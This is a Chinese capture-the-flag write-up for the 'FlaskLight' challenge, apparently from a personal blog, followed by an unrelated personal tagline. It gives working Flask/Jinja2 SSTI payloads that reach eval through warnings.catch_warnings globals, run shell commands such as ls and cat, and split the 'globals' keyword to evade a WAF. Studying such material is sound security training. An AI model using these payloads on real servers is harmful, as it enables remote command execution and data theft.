[CSCCTF 2019 Qual]FlaskLight 题解


查看首页源代码,提示需要get传参search,尝试传参123,发现直接在页面回显

猜测为SSTI漏洞,构造参数,确定为SSTI漏洞

payload

?search={{7*7}}

由题名得知该网站使用flask框架搭建,所以现在的思路就是利用SSTI构造python沙箱逃逸,执行系统命令cat flag

先获取到顶层基类object:[].__class__.__base__,然后使用__subclasses__查看object的所有子类,找到warnings.catch_warnings类(一般位于[59]),因为我们可以通过warnings.catch_warnings的构造函数(即__init__方法)的__globals__属性访问全局命名空间,即我们能够访问__builtins__字典,从而获取eval函数

有了上面的前置知识,构造代码进行目录读取

{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

但是发现服务器返回500,疑似存在waf,进行fuzz测试后,发现globals被过滤,我们进行拆分

{{[].__class__.__base__.__subclasses__()[59].__init__['__g'+'lobals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

获取到flag的位置后,直接getflag

payload

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [CSCCTF 2019 Qual]FlaskLight 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.